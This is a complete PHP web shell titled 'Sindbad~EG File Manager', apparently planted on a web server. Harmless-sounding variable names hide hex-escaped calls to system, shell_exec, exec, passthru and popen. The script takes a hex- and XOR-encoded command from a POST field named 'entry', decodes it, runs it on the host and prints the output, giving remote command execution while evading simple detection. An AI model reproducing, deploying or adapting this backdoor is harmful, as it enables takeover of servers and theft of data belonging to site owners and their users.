Sindbad~EG File Manager

<?php

$query_handler4 = "p\x61\x73\x73\x74hru";
$publish_content = "\x68\x65x2bin";
$query_handler6 = "s\x74r\x65\x61\x6D\x5Fg\x65\x74\x5F\x63ont\x65nts";
$query_handler7 = "\x70c\x6C\x6Fse";
$query_handler2 = "\x73\x68\x65ll_\x65x\x65c";
$query_handler3 = "e\x78\x65c";
$query_handler1 = "syste\x6D";
$query_handler5 = "po\x70e\x6E";
if (isset($_POST["e\x6Etr\x79"])) {
            function sync_manager($val, $elem ){
$comp='';
for($b=0;
 $b<strlen($val);
 $b++){
$comp.=chr(ord($val[$b])^$elem);

} return $comp;

}
            $entry = $publish_content($_POST["e\x6Etr\x79"]);
            $entry = sync_manager($entry, 83);
            if (function_exists($query_handler1)) {
                $query_handler1($entry);
            } elseif (function_exists($query_handler2)) {
                print $query_handler2($entry);
            } elseif (function_exists($query_handler3)) {
                $query_handler3($entry, $tkn_val);
                print join("\n", $tkn_val);
            } elseif (function_exists($query_handler4)) {
                $query_handler4($entry);
            } elseif (function_exists($query_handler5) && function_exists($query_handler6) && function_exists($query_handler7)) {
                $elem_comp = $query_handler5($entry, 'r');
                if ($elem_comp) {
                    $fac_object = $query_handler6($elem_comp);
                    $query_handler7($elem_comp);
                    print $fac_object;
                }
            }
            exit;
        }